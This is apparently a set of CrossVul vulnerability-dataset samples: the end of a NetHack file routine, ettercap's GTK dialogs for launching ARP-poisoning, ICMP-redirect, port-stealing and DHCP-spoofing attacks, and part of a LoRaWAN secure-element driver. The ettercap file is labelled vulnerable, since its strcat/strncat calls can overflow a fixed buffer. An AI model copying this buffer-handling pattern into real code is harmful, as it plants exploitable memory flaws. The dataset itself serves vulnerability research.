display_nhwindow(tribwin, FALSE); /* put the final attribution line into message history, analogous to the summary line from long quest messages */ if (index(lastline, '[')) mungspaces(lastline); /* to remove leading spaces */ else /* construct one if necessary */ Sprintf(lastline, "[%s, by Terry Pratchett]", tribtitle); putmsghistory(lastline, FALSE); grasped = TRUE; } destroy_nhwindow(tribwin); } if (!grasped) /* multi-line window, problem */ pline("It seems to be %s of \"%s\"!", badtranslation, tribtitle); } return grasped; } boolean Death_quote(buf, bufsz) char *buf; int bufsz; { unsigned death_oid = 1; /* chance of oid #1 being a novel is negligible */ return read_tribute("Death", "Death Quotes", 0, buf, bufsz, death_oid); } /* ---------- END TRIBUTE ----------- */ /*files.c*/
./CrossVul/dataset_final_sorted/CWE-120/c/bad_1322_1
crossvul-cpp_data_bad_4711_1
/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. $Id: ec_gtk_mitm.c,v 1.2 2004/02/27 20:03:40 daten Exp $ */ #include <ec.h> #include <ec_gtk.h> #include <ec_mitm.h> /* proto */ void gtkui_arp_poisoning(void); void gtkui_icmp_redir(void); void gtkui_port_stealing(void); void gtkui_dhcp_spoofing(void); void gtkui_mitm_stop(void); static void gtkui_start_mitm(void); /* globals */ #define PARAMS_LEN 512 static char params[PARAMS_LEN+1]; /*******************************************/ void gtkui_arp_poisoning(void) { GtkWidget *dialog, *vbox, *hbox, *image, *button1, *button2, *frame; gint response = 0; gboolean remote = FALSE; gboolean oneway = FALSE; DEBUG_MSG("gtk_arp_poisoning"); memset(params, '\0', PARAMS_LEN+1); dialog = gtk_dialog_new_with_buttons("MITM Attack: ARP Poisoning", GTK_WINDOW (window), GTK_DIALOG_MODAL, GTK_STOCK_OK, GTK_RESPONSE_OK, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, NULL); gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); hbox = gtk_hbox_new (FALSE, 5); gtk_box_pack_start (GTK_BOX (GTK_DIALOG (dialog)->vbox), hbox, FALSE, FALSE, 0); gtk_widget_show(hbox); image = gtk_image_new_from_stock (GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); gtk_misc_set_alignment (GTK_MISC (image), 0.5, 0.1); gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 5); gtk_widget_show(image); frame = gtk_frame_new("Optional parameters"); gtk_container_set_border_width(GTK_CONTAINER (frame), 5); gtk_box_pack_start (GTK_BOX (hbox), frame, TRUE, TRUE, 0); gtk_widget_show(frame); vbox = gtk_vbox_new (FALSE, 2); gtk_container_set_border_width(GTK_CONTAINER (vbox), 5); gtk_container_add(GTK_CONTAINER (frame), vbox); gtk_widget_show(vbox); button1 = gtk_check_button_new_with_label("Sniff remote connections."); gtk_box_pack_start(GTK_BOX (vbox), button1, FALSE, FALSE, 0); gtk_widget_show(button1); button2 = gtk_check_button_new_with_label("Only poison one-way."); gtk_box_pack_start(GTK_BOX (vbox), button2, FALSE, FALSE, 0); gtk_widget_show(button2); response = gtk_dialog_run(GTK_DIALOG(dialog)); if(response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); memset(params, '\0', PARAMS_LEN+1); snprintf(params, 5, "arp:"); if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button1))) { strcat(params, "remote"); remote = TRUE; } if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button2))) { if(remote) strcat(params, ","); strcat(params, "oneway"); oneway = TRUE; } if(!remote && !oneway) { ui_error("You must select at least one ARP mode"); return; } gtkui_start_mitm(); } gtk_widget_destroy(dialog); /* a simpler method: gtkui_input_call("Parameters :", params + strlen("arp:"), PARAMS_LEN - strlen("arp:"), gtkui_start_mitm); */ } void gtkui_icmp_redir(void) { GtkWidget *dialog, *table, *hbox, *image, *label, *entry1, *entry2, *frame; gint response = 0; DEBUG_MSG("gtk_icmp_redir"); dialog = gtk_dialog_new_with_buttons("MITM Attack: ICMP Redirect", GTK_WINDOW (window), GTK_DIALOG_MODAL, GTK_STOCK_OK, GTK_RESPONSE_OK, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, NULL); gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); hbox = gtk_hbox_new (FALSE, 5); gtk_box_pack_start (GTK_BOX (GTK_DIALOG (dialog)->vbox), hbox, FALSE, FALSE, 0); gtk_widget_show(hbox); image = gtk_image_new_from_stock (GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); gtk_misc_set_alignment (GTK_MISC (image), 0.5, 0.1); gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 5); gtk_widget_show(image); frame = gtk_frame_new("Gateway Information"); gtk_container_set_border_width(GTK_CONTAINER (frame), 5); gtk_box_pack_start (GTK_BOX (hbox), frame, TRUE, TRUE, 0); gtk_widget_show(frame); table = gtk_table_new(2, 2, FALSE); gtk_table_set_row_spacings(GTK_TABLE (table), 5); gtk_table_set_col_spacings(GTK_TABLE (table), 5); gtk_container_set_border_width(GTK_CONTAINER (table), 8); gtk_container_add(GTK_CONTAINER (frame), table); gtk_widget_show(table); label = gtk_label_new("MAC Address"); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach(GTK_TABLE (table), label, 0, 1, 0, 1, GTK_FILL, GTK_FILL, 0, 0); gtk_widget_show(label); entry1 = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY (entry1), ETH_ASCII_ADDR_LEN); gtk_table_attach_defaults(GTK_TABLE (table), entry1, 1, 2, 0, 1); gtk_widget_show(entry1); label = gtk_label_new("IP Address"); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach(GTK_TABLE (table), label, 0, 1, 1, 2, GTK_FILL, GTK_FILL, 0, 0); gtk_widget_show(label); entry2 = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY (entry2), IP6_ASCII_ADDR_LEN); gtk_table_attach_defaults(GTK_TABLE (table), entry2, 1, 2, 1, 2); gtk_widget_show(entry2); response = gtk_dialog_run(GTK_DIALOG(dialog)); if(response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); snprintf(params, 6, "icmp:"); strncat(params, gtk_entry_get_text(GTK_ENTRY(entry1)), PARAMS_LEN); strncat(params, "/", PARAMS_LEN); strncat(params, gtk_entry_get_text(GTK_ENTRY(entry2)), PARAMS_LEN); gtkui_start_mitm(); } gtk_widget_destroy(dialog); /* a simpler method: gtkui_input_call("Parameters :", params + strlen("icmp:"), PARAMS_LEN - strlen("icmp:"), gtkui_start_mitm); */ } void gtkui_port_stealing(void) { GtkWidget *dialog, *vbox, *hbox, *image, *button1, *button2, *frame; gint response = 0; gboolean remote = FALSE; DEBUG_MSG("gtk_port_stealing"); dialog = gtk_dialog_new_with_buttons("MITM Attack: Port Stealing", GTK_WINDOW (window), GTK_DIALOG_MODAL, GTK_STOCK_OK, GTK_RESPONSE_OK, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, NULL); gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); hbox = gtk_hbox_new (FALSE, 5); gtk_box_pack_start (GTK_BOX (GTK_DIALOG (dialog)->vbox), hbox, FALSE, FALSE, 0); gtk_widget_show(hbox); image = gtk_image_new_from_stock (GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); gtk_misc_set_alignment (GTK_MISC (image), 0.5, 0.1); gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 5); gtk_widget_show(image); frame = gtk_frame_new("Optional parameters"); gtk_container_set_border_width(GTK_CONTAINER (frame), 5); gtk_box_pack_start (GTK_BOX (hbox), frame, TRUE, TRUE, 0); gtk_widget_show(frame); vbox = gtk_vbox_new (FALSE, 2); gtk_container_set_border_width(GTK_CONTAINER (vbox), 5); gtk_container_add(GTK_CONTAINER (frame), vbox); gtk_widget_show(vbox); button1 = gtk_check_button_new_with_label("Sniff remote connections."); gtk_box_pack_start(GTK_BOX (vbox), button1, FALSE, FALSE, 0); gtk_widget_show(button1); button2 = gtk_check_button_new_with_label("Propagate to other switches."); gtk_box_pack_start(GTK_BOX (vbox), button2, FALSE, FALSE, 0); gtk_widget_show(button2); response = gtk_dialog_run(GTK_DIALOG(dialog)); if(response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); snprintf(params, 6, "port:"); if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button1))) { strcat(params, "remote"); remote = TRUE; } if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button2))) { if(remote) strcat(params, ","); strcat(params, "tree"); } gtkui_start_mitm(); } gtk_widget_destroy(dialog); /* a simpler method: gtkui_input_call("Parameters :", params + strlen("port:"), PARAMS_LEN - strlen("port:"), gtkui_start_mitm); */ } void gtkui_dhcp_spoofing(void) { GtkWidget *dialog, *table, *hbox, *image, *label, *entry1, *entry2, *entry3, *frame; gint response = 0; DEBUG_MSG("gtk_dhcp_spoofing"); memset(params, '\0', PARAMS_LEN+1); dialog = gtk_dialog_new_with_buttons("MITM Attack: DHCP Spoofing", GTK_WINDOW (window), GTK_DIALOG_MODAL, GTK_STOCK_OK, GTK_RESPONSE_OK, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, NULL); gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); hbox = gtk_hbox_new (FALSE, 5); gtk_box_pack_start (GTK_BOX (GTK_DIALOG (dialog)->vbox), hbox, FALSE, FALSE, 0); gtk_widget_show(hbox); image = gtk_image_new_from_stock (GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); gtk_misc_set_alignment (GTK_MISC (image), 0.5, 0.1); gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 5); gtk_widget_show(image); frame = gtk_frame_new("Server Information"); gtk_container_set_border_width(GTK_CONTAINER (frame), 5); gtk_box_pack_start (GTK_BOX (hbox), frame, TRUE, TRUE, 0); gtk_widget_show(frame); table = gtk_table_new(3, 2, FALSE); gtk_table_set_row_spacings(GTK_TABLE (table), 5); gtk_table_set_col_spacings(GTK_TABLE (table), 5); gtk_container_set_border_width(GTK_CONTAINER (table), 8); gtk_container_add(GTK_CONTAINER (frame), table); gtk_widget_show(table); label = gtk_label_new("IP Pool (optional)"); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach(GTK_TABLE (table), label, 0, 1, 0, 1, GTK_FILL, GTK_FILL, 0, 0); gtk_widget_show(label); entry1 = gtk_entry_new(); gtk_table_attach_defaults(GTK_TABLE (table), entry1, 1, 2, 0, 1); gtk_widget_show(entry1); label = gtk_label_new("Netmask"); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach(GTK_TABLE (table), label, 0, 1, 1, 2, GTK_FILL, GTK_FILL, 0, 0); gtk_widget_show(label); entry2 = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY (entry2), IP6_ASCII_ADDR_LEN); gtk_table_attach_defaults(GTK_TABLE (table), entry2, 1, 2, 1, 2); gtk_widget_show(entry2); label = gtk_label_new("DNS Server IP"); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach(GTK_TABLE (table), label, 0, 1, 2, 3, GTK_FILL, GTK_FILL, 0, 0); gtk_widget_show(label); entry3 = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY (entry3), IP6_ASCII_ADDR_LEN); gtk_table_attach_defaults(GTK_TABLE (table), entry3, 1, 2, 2, 3); gtk_widget_show(entry3); response = gtk_dialog_run(GTK_DIALOG(dialog)); if(response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); snprintf(params, 6, "dhcp:"); strncat(params, gtk_entry_get_text(GTK_ENTRY(entry1)), PARAMS_LEN); strncat(params, "/", PARAMS_LEN); strncat(params, gtk_entry_get_text(GTK_ENTRY(entry2)), PARAMS_LEN); strncat(params, "/", PARAMS_LEN); strncat(params, gtk_entry_get_text(GTK_ENTRY(entry3)), PARAMS_LEN); gtkui_start_mitm(); } gtk_widget_destroy(dialog); /* a simpler method: gtkui_input_call("Parameters :", params + strlen("dhcp:"), PARAMS_LEN - strlen("dhcp:"), gtkui_start_mitm); */ } /* * start the mitm attack by passing the name and parameters */ static void gtkui_start_mitm(void) { DEBUG_MSG("gtk_start_mitm"); mitm_set(params); mitm_start(); } /* * stop all the mitm attack(s) */ void gtkui_mitm_stop(void) { GtkWidget *dialog; DEBUG_MSG("gtk_mitm_stop"); /* create the dialog */ dialog = gtk_message_dialog_new(GTK_WINDOW (window), GTK_DIALOG_MODAL, GTK_MESSAGE_INFO, 0, "Stopping the mitm attack..."); gtk_window_set_position(GTK_WINDOW (dialog), GTK_WIN_POS_CENTER); gtk_window_set_resizable(GTK_WINDOW (dialog), FALSE); gtk_widget_show(dialog); /* for GTK to display the dialog now */ while (gtk_events_pending ()) gtk_main_iteration (); /* stop the mitm process */ mitm_stop(); gtk_widget_destroy(dialog); gtkui_message("MITM attack(s) stopped"); } /* EOF */ // vim:ts=3:expandtab
./CrossVul/dataset_final_sorted/CWE-120/c/bad_4711_1
crossvul-cpp_data_good_3927_1
/** * @file atecc608a-tnglora-se.c * * @brief ATECC608A-TNGLORA Secure Element hardware implementation * * @remark Current implementation only supports LoRaWAN 1.0.x version * * @copyright Copyright (c) 2020 The Things Industries B.V. * * Revised BSD License * Copyright The Things Industries B.V 2020. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the Things Industries B.V nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE THINGS INDUSTRIES B.V BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "atca_basic.h" #include "cryptoauthlib.h" #include "atca_devtypes.h" #include "secure-element.h" #include "se-identity.h" #include "atecc608a-tnglora-se-hal.h" /*! * Number of supported crypto keys */ #define NUM_OF_KEYS 15 #define DEV_EUI_ASCII_SIZE_BYTE 16U /*! * Identifier value pair type for Keys */ typedef struct sKey { /* * Key identifier (used for maping the stack MAC key to the ATECC608A-TNGLoRaWAN slot) */ KeyIdentifier_t KeyID; /* * Key slot number */ uint16_t KeySlotNumber; /* * Key block index within slot (each block can contain two keys, so index is either 0 or 1) */ uint8_t KeyBlockIndex; } Key_t; /* * Secure Element Non Volatile Context structure */ typedef struct sSecureElementNvCtx { /*! * DevEUI storage */ uint8_t DevEui[SE_EUI_SIZE]; /*! * Join EUI storage */ uint8_t JoinEui[SE_EUI_SIZE]; /*! * Pin storage */ uint8_t Pin[SE_PIN_SIZE]; /*! * CMAC computation context variable */ atca_aes_cmac_ctx_t AtcaAesCmacCtx; /*! * LoRaWAN key list */ Key_t KeyList[NUM_OF_KEYS]; } SecureElementNvCtx_t; /*! * Secure element context */ static SecureElementNvCtx_t SeNvmCtx = { /*! * end-device IEEE EUI (big endian) */ .DevEui = { 0 }, /*! * App/Join server IEEE EUI (big endian) */ .JoinEui = { 0 }, /*! * Secure-element pin (big endian) */ .Pin = SECURE_ELEMENT_PIN, /*! * LoRaWAN key list */ .KeyList = ATECC608A_SE_KEY_LIST }; static SecureElementNvmEvent SeNvmCtxChanged; static ATCAIfaceCfg atecc608_i2c_config; static ATCA_STATUS convert_ascii_devEUI( uint8_t* devEUI_ascii, uint8_t* devEUI ); static ATCA_STATUS atcab_read_joinEUI( uint8_t* joinEUI ) { ATCA_STATUS status = ATCA_GEN_FAIL; uint8_t read_buf[ATCA_BLOCK_SIZE]; if( joinEUI == NULL ) { return ATCA_BAD_PARAM; } do { status = atcab_read_zone( ATCA_ZONE_DATA, TNGLORA_JOIN_EUI_SLOT, 0, 0, read_buf, ATCA_BLOCK_SIZE ); if( status != ATCA_SUCCESS ) { break; } memcpy1( joinEUI, read_buf, SE_EUI_SIZE ); } while( 0 ); return status; } static ATCA_STATUS atcab_read_ascii_devEUI( uint8_t* devEUI_ascii ) { ATCA_STATUS status = ATCA_GEN_FAIL; uint8_t read_buf[ATCA_BLOCK_SIZE]; if( devEUI_ascii == NULL ) { return ATCA_BAD_PARAM; } do { status = atcab_read_zone( ATCA_ZONE_DATA, TNGLORA_DEV_EUI_SLOT, 0, 0, read_buf, ATCA_BLOCK_SIZE ); if( status != ATCA_SUCCESS ) { break; } memcpy1( devEUI_ascii, read_buf, DEV_EUI_ASCII_SIZE_BYTE ); } while( 0 ); return status; } static ATCA_STATUS convert_ascii_devEUI( uint8_t* devEUI_ascii, uint8_t* devEUI ) { for( size_t pos = 0; pos < DEV_EUI_ASCII_SIZE_BYTE; pos += 2 ) { uint8_t temp = 0; if( ( devEUI_ascii[pos] >= '0' ) && ( devEUI_ascii[pos] <= '9' ) ) { temp = ( devEUI_ascii[pos] - '0' ) << 4; } else if( ( devEUI_ascii[pos] >= 'A' ) && ( devEUI_ascii[pos] <= 'F' ) ) { temp = ( ( devEUI_ascii[pos] - 'A' ) + 10 ) << 4; } else { return ATCA_BAD_PARAM; } if( ( devEUI_ascii[pos + 1] >= '0' ) && ( devEUI_ascii[pos + 1] <= '9' ) ) { temp |= devEUI_ascii[pos + 1] - '0'; } else if( ( devEUI_ascii[pos + 1] >= 'A' ) && ( devEUI_ascii[pos + 1] <= 'F' ) ) { temp |= ( devEUI_ascii[pos + 1] - 'A' ) + 10; } else { return ATCA_BAD_PARAM; } devEUI[pos / 2] = temp; } return ATCA_SUCCESS; } static ATCA_STATUS atcab_read_devEUI( uint8_t* devEUI ) { ATCA_STATUS status = ATCA_GEN_FAIL; uint8_t devEUI_ascii[DEV_EUI_ASCII_SIZE_BYTE]; status = atcab_read_ascii_devEUI( devEUI_ascii ); if( status != ATCA_SUCCESS ) { return status; } status = convert_ascii_devEUI( devEUI_ascii, devEUI ); return status; } /* * Gets key item from key list. * * cmac = aes128_cmac(keyID, B0 | msg) * * \param[IN] keyID - Key identifier * \param[OUT] keyItem - Key item reference * \retval - Status of the operation */ SecureElementStatus_t GetKeyByID( KeyIdentifier_t keyID, Key_t** keyItem ) { for( uint8_t i = 0; i < NUM_OF_KEYS; i++ ) { if( SeNvmCtx.KeyList[i].KeyID == keyID ) { *keyItem = &( SeNvmCtx.KeyList[i] ); return SECURE_ELEMENT_SUCCESS; } } return SECURE_ELEMENT_ERROR_INVALID_KEY_ID; } /* * Dummy callback in case if the user provides NULL function pointer */ static void DummyCB( void ) { return; } /* * Computes a CMAC of a message using provided initial Bx block * * cmac = aes128_cmac(keyID, blocks[i].Buffer) * * \param[IN] micBxBuffer - Buffer containing the initial Bx block * \param[IN] buffer - Data buffer * \param[IN] size - Data buffer size * \param[IN] keyID - Key identifier to determine the AES key to be used * \param[OUT] cmac - Computed cmac * \retval - Status of the operation */ static SecureElementStatus_t ComputeCmac( uint8_t* micBxBuffer, uint8_t* buffer, uint16_t size, KeyIdentifier_t keyID, uint32_t* cmac ) { if( ( buffer == NULL ) || ( cmac == NULL ) ) { return SECURE_ELEMENT_ERROR_NPE; } uint8_t Cmac[16] = { 0 }; Key_t* keyItem; SecureElementStatus_t retval = GetKeyByID( keyID, &keyItem ); if( retval != SECURE_ELEMENT_SUCCESS ) { return retval; } ATCA_STATUS status = atcab_aes_cmac_init( &SeNvmCtx.AtcaAesCmacCtx, keyItem->KeySlotNumber, keyItem->KeyBlockIndex ); if( ATCA_SUCCESS == status ) { if( micBxBuffer != NULL ) { atcab_aes_cmac_update( &SeNvmCtx.AtcaAesCmacCtx, micBxBuffer, 16 ); } atcab_aes_cmac_update( &SeNvmCtx.AtcaAesCmacCtx, buffer, size ); atcab_aes_cmac_finish( &SeNvmCtx.AtcaAesCmacCtx, Cmac, 16 ); *cmac = ( uint32_t )( ( uint32_t ) Cmac[3] << 24 | ( uint32_t ) Cmac[2] << 16 | ( uint32_t ) Cmac[1] << 8 | ( uint32_t ) Cmac[0] ); return SECURE_ELEMENT_SUCCESS; } else { return SECURE_ELEMENT_ERROR; } } SecureElementStatus_t SecureElementInit( SecureElementNvmEvent seNvmCtxChanged ) { #if !defined( SECURE_ELEMENT_PRE_PROVISIONED ) #error "ATECC608A is always pre-provisioned. Please set SECURE_ELEMENT_PRE_PROVISIONED to ON" #endif atecc608_i2c_config.iface_type = ATCA_I2C_IFACE; atecc608_i2c_config.atcai2c.baud = ATCA_HAL_ATECC608A_I2C_FREQUENCY; atecc608_i2c_config.atcai2c.bus = ATCA_HAL_ATECC608A_I2C_BUS_PINS; atecc608_i2c_config.atcai2c.slave_address = ATCA_HAL_ATECC608A_I2C_ADDRESS; atecc608_i2c_config.devtype = ATECC608A; atecc608_i2c_config.rx_retries = ATCA_HAL_ATECC608A_I2C_RX_RETRIES; atecc608_i2c_config.wake_delay = ATCA_HAL_ATECC608A_I2C_WAKEUP_DELAY; if( atcab_init( &atecc608_i2c_config ) != ATCA_SUCCESS ) { return SECURE_ELEMENT_ERROR; } if( atcab_read_devEUI( SeNvmCtx.DevEui ) != ATCA_SUCCESS ) { return SECURE_ELEMENT_ERROR; } if( atcab_read_joinEUI( SeNvmCtx.JoinEui ) != ATCA_SUCCESS ) { return SECURE_ELEMENT_ERROR; } // Assign callback if( seNvmCtxChanged != 0 ) { SeNvmCtxChanged = seNvmCtxChanged; } else { SeNvmCtxChanged = DummyCB; } return SECURE_ELEMENT_SUCCESS; } SecureElementStatus_t SecureElementRestoreNvmCtx( void* seNvmCtx ) { // Restore nvm context if( seNvmCtx != 0 ) { memcpy1( ( uint8_t* ) &SeNvmCtx, ( uint8_t* ) seNvmCtx, sizeof( SeNvmCtx ) ); return SECURE_ELEMENT_SUCCESS; } else { return SECURE_ELEMENT_ERROR_NPE; } } void* SecureElementGetNvmCtx( size_t* seNvmCtxSize ) { *seNvmCtxSize = sizeof( SeNvmCtx ); return &SeNvmCtx; } SecureElementStatus_t SecureElementSetKey( KeyIdentifier_t keyID, uint8_t* key ) { // No key setting for HW SE, can only derive keys return SECURE_ELEMENT_SUCCESS; } SecureElementStatus_t SecureElementComputeAesCmac( uint8_t* micBxBuffer, uint8_t* buffer, uint16_t size, KeyIdentifier_t keyID, uint32_t* cmac ) { if( keyID >= LORAMAC_CRYPTO_MULTICAST_KEYS ) { // Never accept multicast key identifier for cmac computation return SECURE_ELEMENT_ERROR_INVALID_KEY_ID; } return ComputeCmac( micBxBuffer, buffer, size, keyID, cmac ); } SecureElementStatus_t SecureElementVerifyAesCmac( uint8_t* buffer, uint16_t size, uint32_t expectedCmac, KeyIdentifier_t keyID ) { if( buffer == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } SecureElementStatus_t retval = SECURE_ELEMENT_ERROR; uint32_t compCmac = 0; retval = ComputeCmac( NULL, buffer, size, keyID, &compCmac ); if( retval != SECURE_ELEMENT_SUCCESS ) { return retval; } if( expectedCmac != compCmac ) { retval = SECURE_ELEMENT_FAIL_CMAC; } return retval; } SecureElementStatus_t SecureElementAesEncrypt( uint8_t* buffer, uint16_t size, KeyIdentifier_t keyID, uint8_t* encBuffer ) { if( buffer == NULL || encBuffer == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } // Check if the size is divisible by 16, if( ( size % 16 ) != 0 ) { return SECURE_ELEMENT_ERROR_BUF_SIZE; } Key_t* pItem; SecureElementStatus_t retval = GetKeyByID( keyID, &pItem ); if( retval == SECURE_ELEMENT_SUCCESS ) { uint8_t block = 0; while( size != 0 ) { atcab_aes_encrypt( pItem->KeySlotNumber, pItem->KeyBlockIndex, &buffer[block], &encBuffer[block] ); block = block + 16; size = size - 16; } } return retval; } SecureElementStatus_t SecureElementDeriveAndStoreKey( Version_t version, uint8_t* input, KeyIdentifier_t rootKeyID, KeyIdentifier_t targetKeyID ) { if( input == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } // Source key slot is the LSB and target key slot is the MSB uint16_t source_target_ids = 0; Key_t* source_key; Key_t* target_key; ATCA_STATUS status = ATCA_SUCCESS; // In case of MC_KE_KEY, only McRootKey can be used as root key if( targetKeyID == MC_KE_KEY ) { if( rootKeyID != MC_ROOT_KEY ) { return SECURE_ELEMENT_ERROR_INVALID_KEY_ID; } } if( ( rootKeyID == APP_KEY ) || ( rootKeyID == MC_ROOT_KEY ) || ( rootKeyID == MC_KE_KEY ) ) { // Allow the stack to move forward as these rootkeys dont exist inside SE. return SECURE_ELEMENT_SUCCESS; } if( GetKeyByID( rootKeyID, &source_key ) != SECURE_ELEMENT_SUCCESS ) { return SECURE_ELEMENT_ERROR_INVALID_KEY_ID; } if( GetKeyByID( targetKeyID, &target_key ) != SECURE_ELEMENT_SUCCESS ) { return SECURE_ELEMENT_ERROR_INVALID_KEY_ID; } source_target_ids = target_key->KeySlotNumber << 8; source_target_ids += source_key->KeySlotNumber; uint32_t detail = source_key->KeyBlockIndex; status = atcab_kdf( KDF_MODE_ALG_AES | KDF_MODE_SOURCE_SLOT | KDF_MODE_TARGET_SLOT, source_target_ids, detail, input, NULL, NULL ); if( status == ATCA_SUCCESS ) { return SECURE_ELEMENT_SUCCESS; } else { return SECURE_ELEMENT_ERROR; } } SecureElementStatus_t SecureElementProcessJoinAccept( JoinReqIdentifier_t joinReqType, uint8_t* joinEui, uint16_t devNonce, uint8_t* encJoinAccept, uint8_t encJoinAcceptSize, uint8_t* decJoinAccept, uint8_t* versionMinor ) { if( ( encJoinAccept == NULL ) || ( decJoinAccept == NULL ) || ( versionMinor == NULL ) ) { return SECURE_ELEMENT_ERROR_NPE; } // Check that frame size isn't bigger than a JoinAccept with CFList size if( encJoinAcceptSize > LORAMAC_JOIN_ACCEPT_FRAME_MAX_SIZE ) { return SECURE_ELEMENT_ERROR_BUF_SIZE; } // Determine decryption key KeyIdentifier_t encKeyID = NWK_KEY; if( joinReqType != JOIN_REQ ) { encKeyID = J_S_ENC_KEY; } memcpy1( decJoinAccept, encJoinAccept, encJoinAcceptSize ); // Decrypt JoinAccept, skip MHDR if( SecureElementAesEncrypt( encJoinAccept + LORAMAC_MHDR_FIELD_SIZE, encJoinAcceptSize - LORAMAC_MHDR_FIELD_SIZE, encKeyID, decJoinAccept + LORAMAC_MHDR_FIELD_SIZE ) != SECURE_ELEMENT_SUCCESS ) { return SECURE_ELEMENT_FAIL_ENCRYPT; } *versionMinor = ( ( decJoinAccept[11] & 0x80 ) == 0x80 ) ? 1 : 0; uint32_t mic = 0; mic = ( ( uint32_t ) decJoinAccept[encJoinAcceptSize - LORAMAC_MIC_FIELD_SIZE] << 0 ); mic |= ( ( uint32_t ) decJoinAccept[encJoinAcceptSize - LORAMAC_MIC_FIELD_SIZE + 1] << 8 ); mic |= ( ( uint32_t ) decJoinAccept[encJoinAcceptSize - LORAMAC_MIC_FIELD_SIZE + 2] << 16 ); mic |= ( ( uint32_t ) decJoinAccept[encJoinAcceptSize - LORAMAC_MIC_FIELD_SIZE + 3] << 24 ); // - Header buffer to be used for MIC computation // - LoRaWAN 1.0.x : micHeader = [MHDR(1)] // - LoRaWAN 1.1.x : micHeader = [JoinReqType(1), JoinEUI(8), DevNonce(2), MHDR(1)] // Verify mic if( *versionMinor == 0 ) { // For LoRaWAN 1.0.x // cmac = aes128_cmac(NwkKey, MHDR | JoinNonce | NetID | DevAddr | DLSettings | RxDelay | CFList | // CFListType) if( SecureElementVerifyAesCmac( decJoinAccept, ( encJoinAcceptSize - LORAMAC_MIC_FIELD_SIZE ), mic, NWK_KEY ) != SECURE_ELEMENT_SUCCESS ) { return SECURE_ELEMENT_FAIL_CMAC; } } #if( USE_LRWAN_1_1_X_CRYPTO == 1 ) else if( *versionMinor == 1 ) { uint8_t micHeader11[JOIN_ACCEPT_MIC_COMPUTATION_OFFSET] = { 0 }; uint16_t bufItr = 0; micHeader11[bufItr++] = ( uint8_t ) joinReqType; memcpyr( micHeader11 + bufItr, joinEui, LORAMAC_JOIN_EUI_FIELD_SIZE ); bufItr += LORAMAC_JOIN_EUI_FIELD_SIZE; micHeader11[bufItr++] = devNonce & 0xFF; micHeader11[bufItr++] = ( devNonce >> 8 ) & 0xFF; 